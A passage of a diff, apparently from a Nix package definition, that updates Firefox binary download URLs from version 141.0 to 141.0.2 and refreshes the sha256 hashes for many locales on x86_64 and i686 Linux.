-      sha256 = "b7b16e3bfafff74d6d3df3d331e97d0b9eb22e5addfd851a49c9a71a9e98a983";
+      sha256 = "de69e59a37e948817723b33f2768c8e03f1e74ca2ad126d5b51c630fd3403d23";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sat/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sat/firefox-141.0.2.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "652538fb059b7b0a51120df52c228adb70bf7601c274e3d66a60cbe311dd1645";
+      sha256 = "7ed313e6b950e15962345fe7f1999a768ec8d57bacd83624d954526abb514ed5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sc/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sc/firefox-141.0.2.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "248940ad9472e70e9c945fe2082b61af06f67095d39f29f6bea27af57d9ec91b";
+      sha256 = "2a3db9b312d2ed54fae87ee0ba3d73b24b66118d96fe7aa8d4215c4217abdb6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sco/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sco/firefox-141.0.2.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "981cc2a18172d064384a960fb66dbed2a0b17eb1395035774e7798245e51a5ef";
+      sha256 = "35a7eff5be8ef4c4063303b445eea1616db39196b9acc5c39bc6bcd2ea7226e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/si/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/si/firefox-141.0.2.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "8b83988259428dea385076c979dec578978ca75b1bd4c3878eaccd1a461f397c";
+      sha256 = "947437ae77a8170b95c90eec6b2da8eb256f49948611430d5ccb4cc777b9d3b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sk/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sk/firefox-141.0.2.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "9a561262a0c7b7b1e332a8a9a5b69e687b47dc8c503408a93f1099b1c9ddfaf8";
+      sha256 = "f425e4240ff2c1c3fab396635f0cc57621e9085a502af701f07a88ec091d5ef5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/skr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/skr/firefox-141.0.2.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "f0d532ef24b5013f7ed8523cde916f9cdb2073ee6e575ff438fa58d0bd7aff7e";
+      sha256 = "62830413d9ec706696fd4b7209a6d1a2c95e9df860c0088ed6f457073ff7fca0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sl/firefox-141.0.2.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "6fc3499d2426050f2fb5dc06208dd47bbc4dd12ae0e2465c9ff1e19a46b9a189";
+      sha256 = "3d7bfcf450d24d5517e69178a1d8d75ab8db4df827e11a3913f2ef6e9f3063c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/son/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/son/firefox-141.0.2.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "e94de9882893729691bb25e19da53f4d823d498f91540ab22a0b0e7469af4490";
+      sha256 = "e08fde0f970da5b5611952d5ea36c79c8a4f49c8a7a45763648dad19b401f9c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sq/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sq/firefox-141.0.2.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "20e4ae4867df2a6bdebceafe293afa420bd830832cc41731c5476b41808ac207";
+      sha256 = "05d9d7c2ecf1ecbb3e4d38223e0be234a7ac5c2fe0fa74532d6b88ae45da3b24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sr/firefox-141.0.2.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "b9a1cd195e866f7b586dba2e365daf35262563da904120b4e143c43511279447";
+      sha256 = "89aa24a9ad872292191cff0dd9fee34195eef04e460235f45036c46a05746d5a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/sv-SE/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sv-SE/firefox-141.0.2.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "b6ddcae04d1d1cf86a1e83b6f32f3f6da5203dd56406318b25c78ef74fac3675";
+      sha256 = "3c426261929d4f9a43daa232e072f7e10470e5b480d4a32522e9d6ff2a8de5e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/szl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/szl/firefox-141.0.2.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "f651961b177b1d6bbde75495c29496caf6a9e48ad74ca60049b2cd63927aeb73";
+      sha256 = "49ba469a36e565ac63ac0ce82107f6c9285e78cd892aab25ced85c4d57b165a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ta/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ta/firefox-141.0.2.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "eda48ae4f0ae77b3348cb98e08cf57b4d206f7eba7df2bdb13e235216c7c16de";
+      sha256 = "dd5c4260ef360c7d7985d09c79c5cf8dde50d768caed76c691719f06848c5ae5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/te/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/te/firefox-141.0.2.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "7ba0cc8ec3345529c4b907afd9e48f4d9866706624d8e667c3a964e01c452d02";
+      sha256 = "381b0d5678594a861e6f965e1df56340f6ccf260ca3b6329637463a3ba929f9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/tg/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/tg/firefox-141.0.2.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "59347f07805141279b3c1c4e49dbbc2a3e4a3326a817ed5bb431769835753989";
+      sha256 = "cb7e6c8478ea2d3d711c9784c3995a344f4ae0c4ee798a31031af41fb3f38250";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/th/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/th/firefox-141.0.2.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "c6f12617e5a120aede51d216c4e25dc02736548da6100713d1e9cc720c765bcc";
+      sha256 = "02431a027d5d17fe05108a548cbf67d818e818b10377bc5fb0056e3025444698";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/tl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/tl/firefox-141.0.2.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "7d9dc0189cc61c76e2b8f4aee8114a01c399b5646a76d1aae34a4bfd180bb279";
+      sha256 = "f1cd1430a6b569d10187de0f0e58bac5f31bd8465e76f03a5372a9b7f2b72ef5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/tr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/tr/firefox-141.0.2.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "66dc3859bf6cefad36bce15c4cce672d51cc830ff0803e9736f2b0bb5318ee7a";
+      sha256 = "d0bac9922bd904517deb5f7a09482ed3b7c795581d76f0dd84366f1e1e5d967e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/trs/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/trs/firefox-141.0.2.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "aab10409ced21fd7ea068e347ef1ee152dd876b30cc49b7a19ac74c16a7ff8d0";
+      sha256 = "aea868e859fe2cd840cdb4ae65aaf96aa5fc9a8d9d4a3aaaa48df3de5e01542e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/uk/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/uk/firefox-141.0.2.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "fb892fb66074ee76dfadd57478919fb609f9ccb3633b056041669748cf5565d2";
+      sha256 = "f4ee5c62fd4cf46fe256a10806540bfe0631939c3435cebf1415b0d07e1993a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ur/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ur/firefox-141.0.2.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "5b59801b5908364e7420659a1fa7036d63d3e8ff721da385a2dda318893cdb24";
+      sha256 = "1afa38570bec46cc862f240f2967a2d0ea1000a80e5a409142588bcb9124b6be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/uz/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/uz/firefox-141.0.2.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "8072c4b2cae35e14ecadfdd4e14f155a0f19a2cf4754973e28ec119c5c1d20b5";
+      sha256 = "d0b63a28f7530fb8eac7f1ee4a2ed1c35e2171a090a54f7f5e8326d0d492c6df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/vi/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/vi/firefox-141.0.2.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "c746d7d728c2be0d094334878c3fe54abddc62cbae023d344ac2c6f17a79e3d9";
+      sha256 = "bb67ab104fa0d20637bb5d4b818a832155942269ccfbf47c0d63c6713f97754d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/xh/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/xh/firefox-141.0.2.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "7a1550cf0fba788deaedaca174891483b0ad35b81b64cdc4b0e14b5f5ca93f13";
+      sha256 = "0b7b08f9d61622aedfbfd8df258ddd24b0c2d722206994690e277165e3e27cde";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/zh-CN/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/zh-CN/firefox-141.0.2.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "5fa634f2baa3c9db65b6862831319e70fedee2f327a4c3a3618887d9c7ee2557";
+      sha256 = "239675fbcca82eda60249fa6aca7566cf4fb277607b4bf204490c07957681f17";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/zh-TW/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/zh-TW/firefox-141.0.2.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "20fcd590199eef56f5aaf0a5de146f42988ceaeab41db94d02e83bb8cd913aa7";
+      sha256 = "a6c337731b273c05a12b805f3ad26c87c548cd525eb09d40df723f2c2923bf7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ach/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ach/firefox-141.0.2.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "5aa043bd9a998e3e41755fd8d7056c7d8ccdaafbf64657ba355d3cd55627162b";
+      sha256 = "d3a19bd75414ff8a2ae095e790925fb8ada4fa8901b91958223cd38a850cb12d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/af/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/af/firefox-141.0.2.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "276b5d34ea2743e4b8cc49202196ed27696516cfd7ff02643166de2277105e74";
+      sha256 = "00938cfa116be7fff5181e2f3dcc7977701c9df4c685d4b0b24271598c6db5cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/an/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/an/firefox-141.0.2.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "4d630ecdd61f81ef2eb6bf6ba35f73d33cdce7b4a8a59169ed8fd823b9d3bae7";
+      sha256 = "68088f4e1a394567c7797a3c0806d8cd028a5ef0c3a8add56da7ecc1f46b4508";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ar/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ar/firefox-141.0.2.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "bf49eed15b7b617db673924eb9d03801f4297e9f9c20ab7c61b7d64cc71eee03";
+      sha256 = "800687cb2b020e4d14e972c2ca2e26d6b18329e546757aeea1372f874994ea82";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ast/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ast/firefox-141.0.2.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "55f8efe4c353f8c38b789bc76fa67639799d4d19bc120707a1695c0f236ba797";
+      sha256 = "739e411dcaa9eec2be2204b0d8bec1e2508e6b01605caae94319b5a780ae9298";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/az/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/az/firefox-141.0.2.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "2e824f712f4a0efd8eb5f761b21a61a5fa4b2a7e547cb914ab684934cc9e8ac6";
+      sha256 = "f918251a60131c6038d61e886087ce978db6a274148ada843bc90901ad4f51e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/be/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/be/firefox-141.0.2.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "be41ccd413e228d286e6b322173f6e6cbe8adc4944cffce9ef5fd229ee67a31e";
+      sha256 = "3c54a325b121a82e117827e8b7869b362a15a4b819b14d0e02ba9d6fe4f8b069";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/bg/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/bg/firefox-141.0.2.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "dbe7756144cac5928de8fea7c6cbf1074833992abc122ab9bb1360c333735cce";
+      sha256 = "dbbd6f19c508bd189b7833094724729770196489df8edf3731e04d64bb2fd102";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/bn/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/bn/firefox-141.0.2.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "4b080771a07ee9a868e7a3a2c19581cd9ddb29a05bd9135d21fc7c765db09667";
+      sha256 = "e4e38302c14ff9fba9874af05fe9af43771fd571fa1c4db39a89782d98fe7713";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/br/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/br/firefox-141.0.2.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "6715f0c218de95bcfc24429b0f767ead54249192e0e755ff1c8988f13dfd1fad";
+      sha256 = "612d43e027ec457d9d94a2b5d8c12fabe14d6cb7e56a639e52bc3644eeb7a07f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/bs/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/bs/firefox-141.0.2.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "1e1cae385cec000a8408f6a2d26ebce2084344e877d4ef1a88d0a1014be3ed84";
+      sha256 = "a89debbfba7ee8dc6f028d3dcae3707be7521a41f1afdb682cd80ec84d774cb7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ca-valencia/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ca-valencia/firefox-141.0.2.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "7d5a3865c34be1d6f11262a0f4d982e6f5878d9c3915bff842067e4aa626e472";
+      sha256 = "5b130d647bab23a0542e1317d73f558cef5ccb4924ac5028d4664a8d62e6297a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ca/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ca/firefox-141.0.2.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "8acefde214d8fbc2920d4a7b608343771a42ad2e74c995d0f365e3220aee8576";
+      sha256 = "c927cd618c1d122ec4bfc946093830bf31c72e7535bec5d996e497a132aa70c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/cak/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/cak/firefox-141.0.2.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "4b3f2f5bfc1fbda23410abd42c8876eaad03974adb511e0552a07fb846b3aa10";
+      sha256 = "d72bc887e72aa7e82f345ea74277e13e217d1b84c25b997903b7c6acc81f5325";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/cs/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/cs/firefox-141.0.2.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "670b97ab473462da89c7e8fe9e041ae390e8c05d2651f190b0913e86dd03270e";
+      sha256 = "91030dc6d50f2c449630c3c2d2ffe893a44a2ab436c520530ecaf8b614bbb7ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/cy/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/cy/firefox-141.0.2.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "3dff5d6fc179055454cdd402f954ef68a75640ab495771e579b77e7fffb5c2c2";
+      sha256 = "bc059d8a3e3930c4e1345fdbdd39d4b0ba55cc3a3b7bf9605aa24cf1d0335eef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/da/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/da/firefox-141.0.2.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "14c0c1fce44b64eb823ed163701bf7cf4931f645357da2e4147304fed531af5e";
+      sha256 = "c1c1e0854369a6c3ce8eb40dfc0c6d48787f15a3533baf6aa3b31a6f1efa8cfa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/de/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/de/firefox-141.0.2.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "7ed12cc1b63ad10454842ef6115dc591db54ac300aeec62475710d1dfed75171";
+      sha256 = "cfa5f3759394399ae676d7497d3823639a63d1adfdb1a7b4e23d7adc198f34d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/dsb/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/dsb/firefox-141.0.2.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "39c498682c70bf9ff4c01464d538cdfa5478a40eaf03221b56854faae8813ba0";
+      sha256 = "dd2e800571d30f9cfec4500c57652d68329bb526f0510881e82f6af19de7e51c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/el/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/el/firefox-141.0.2.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "bfe3b614fffed35a0e7af98ce80e48a41fa134c69d5560e92225a89898242c08";
+      sha256 = "a2e84b3e3a0af1a4a9d8b9fd394f38d374f405ab0234aac2dda4bef1fd61e27b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/en-CA/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/en-CA/firefox-141.0.2.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "927b19d244fa723ea1073f7c37a8b769f10e5fcbd53c49dc16893c0d6bb290f7";
+      sha256 = "e7c38b6558a5af2a7c5ea35913ccbe1cfc734819ca262123edf3fa34ba3f19f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/en-GB/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/en-GB/firefox-141.0.2.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "461c7001d0f7eab4cef32ae8969f1a80a59b5f39ad91e28f4f08e5537bb3dcfb";
+      sha256 = "14c17125ac136d295d5a48dedc3d6e57c77b2277bfbed556e59a1c0d577eb861";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/en-US/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/en-US/firefox-141.0.2.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "7565db5c5d192feb50db24d9e13ebd93a6a2c77e47c8ad379a7c9346637bfafa";
+      sha256 = "8ba3739a79e5e64932cefb097d214b2a87f5af4edd956e4a519fe844e77f983a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/eo/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/eo/firefox-141.0.2.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "2fd3f94eb43c3aff5d750c4dbe1d5aadab01d6df3721eaf3eda888f3735c51f1";
+      sha256 = "bfcf194876df5a195be68df80fe5f970853293a20d4a4031515e62d268e5a0c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/es-AR/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/es-AR/firefox-141.0.2.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "e6a56798649cf9b4c2120ecde4c42eaa750b1539cd2ff2580600c975cb6d634d";
+      sha256 = "2cfed8204cf3cfba9d3515127aaab2215a47af7ade6bce449422fe4e8a2eadf1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/es-CL/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/es-CL/firefox-141.0.2.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "3f13a218745ba43f0e0b898d13a1f988091b5825903ca45926f8363f3da07c94";
+      sha256 = "82e982e5d245de5c20519d5ddfb1164df4e8b7e9fbb70432608b7e4f6726d3ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/es-ES/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/es-ES/firefox-141.0.2.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "c7ce7ca55abe0ad7931970f569cd2c63adb6be94efb43dba669f71e5be938000";
+      sha256 = "33c5bd5a27bf51a1125995c89336484382c30761898a3a37ac8b6dcd2ba55cc7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/es-MX/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/es-MX/firefox-141.0.2.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "dc7ccfb16d1001791e7fd38643d23cb4c90633cc326b16c0b1678ce89e1c40d1";
+      sha256 = "74790e0c8f1385e7dfcc6eb209d18e9ee03375563165f74f8294a4528a02bf84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/et/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/et/firefox-141.0.2.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "b29521d4f8ecf5a5c2680055323a157b59e4a323dcb255de4348d49ac84cc1f3";
+      sha256 = "b834690502cff9946431f49f492b2cba675cfc3a7101348ea407b203296d1cc6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/eu/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/eu/firefox-141.0.2.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "d19ae457c6f8eb84a93d686bdd70f64292434dac20f1b695e61ea2fc96bd1504";
+      sha256 = "903806eb8338539dd593dda7f4dbf50e2318cad3efa3e60d6aaad52661f9c619";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/fa/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/fa/firefox-141.0.2.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "a7e8a4d9bfc4d81c7d81d5a686a0294c2846395606ce1c0a16f6c653d527c96b";
+      sha256 = "784cc1a4906c3dba9b52111f9f6f36875f5717aadb265bbfb336112ab04ed76c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/ff/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ff/firefox-141.0.2.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "67e4dd228ff9f4271dea1cb85269d9e823f3c5ba3ca85eccf85fe9e0368ccbbc";
+      sha256 = "551ba8b3fb5b5ed243724e6a118fca71db85d0e3abb7c40ce76aa8371d3ca762";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/fi/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/fi/firefox-141.0.2.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "cc6f75c78b47355bbea0083d9973c0253293e5a3b4c3ece85d1b1658f8bb6871";
+      sha256 = "786d90a7e3c8c9866888ecfa8e93e68377ac9d6b897d37c34f2a1d2c6aaa82f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-i686/fr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/fr/firefox-141.0.2.tar.xz";
       locale = "fr";
       arch = "linux-i686";
